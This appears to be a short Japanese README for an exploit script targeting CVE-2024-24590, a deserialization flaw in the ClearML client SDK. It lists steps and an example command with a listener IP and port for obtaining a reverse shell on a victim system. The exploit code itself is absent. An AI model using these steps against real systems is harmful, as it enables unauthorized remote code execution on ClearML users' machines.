CVE-2024-24590

Allegro AI の ClearML プラットフォームのクライアント SDK のバージョン 0.17.0 から 1.14.2 では、信頼されていないデータのデシリアライゼーションが発生する可能性があり、悪意を持ってアップロードされたアーティファクトを操作すると、エンドユーザーのシステム上で任意のコードが実行される可能性があります。

使用方法

1. 提供された認証情報を貼り付けて clearml-init を実行します
2. 1つのターミナルで exploit.py Python スクリプトを実行し、別のターミナルでリスナーを起動します
3. リバースシェルを取得するには、エクスプロイトを何度も実行する必要があるかもしれません

usage: exploit.py [-h] -i IP -p PORT -P PROJECT

options:
  -h, --help  show this help message and exit
  -i IP       IP address of the listener
  -p PORT     Port number of the listener
  -P PROJECT  Name of the existing project

example: python exploit.py -i 10.10.14.60 -p 4444 -P 'Black Swan'

エクスプロイトの詳細

1. https://hiddenlayer.com/research/not-so-clear-how-mlops-solutions-can-muddy-the-waters-of-your-supply-chain/
2. https://www.cvedetails.com/cve/CVE-2024-24590/